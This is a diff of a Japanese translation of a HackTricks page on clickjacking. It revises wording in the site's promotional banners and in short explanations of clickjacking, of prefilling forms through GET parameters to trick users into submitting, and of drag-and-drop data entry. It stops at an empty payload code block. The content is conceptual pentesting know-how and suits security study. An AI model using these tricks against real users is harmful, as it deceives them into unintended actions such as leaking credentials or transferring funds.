[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。 +- **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。** -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Clickjackingとは -Clickjacking攻撃では、**ユーザー**が**見えない**か、異なる要素として偽装された**Webページ上の要素**を**クリック**するように**騙されます**。この操作により、ユーザーにとって意図しない結果がもたらされる可能性があります。例えば、マルウェアのダウンロード、悪意のあるWebページへのリダイレクト、資格情報や機密情報の提供、資金の送金、オンラインでの製品購入などが挙げられます。 +Clickjacking攻撃では、**ユーザー**が**見えない**か、異なる要素として偽装された**ウェブページ上の要素**を**クリック**するように**騙されます**。この操作により、ユーザーにとって意図しない結果が生じる可能性があります。例えば、マルウェアのダウンロード、悪意のあるWebページへのリダイレクト、資格情報や機密情報の提供、資金の送金、またはオンラインでの製品購入などが挙げられます。 ### フォームの事前入力トリック -時々、**ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋める**ことができます。攻撃者はこの動作を悪用してフォームに任意のデータを入力し、クリックジャッキングペイロードを送信してユーザーがボタンを押すように誘導することがあります。 +時々、**ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋めることができます**。攻撃者はこの動作を悪用して、フォームに任意のデータを入力してクリックジャッキングペイロードを送信し、ユーザーがボタンを押すようにすることができます。 ### ドラッグ&ドロップでフォームにデータを入力 -ユーザーに**フォームに入力**してもらいたいが、特定の情報(例:メールアドレスや特定のパスワード)を直接求めたくない場合は、ユーザーに**ドラッグ&ドロップ**するように求めることで、制御されたデータを書き込むことができます。[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)を参照してください。 - -### 基本的なペイロード +ユーザーに**フォームに入力**してもらいたいが、特定の情報(例:メールアドレスや特定のパスワード)を直接求めたくない場合は、ユーザーに**ドラッグ&ドロップ**して、制御されたデータを書き込むようにすることができます。[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)のように。 ```markup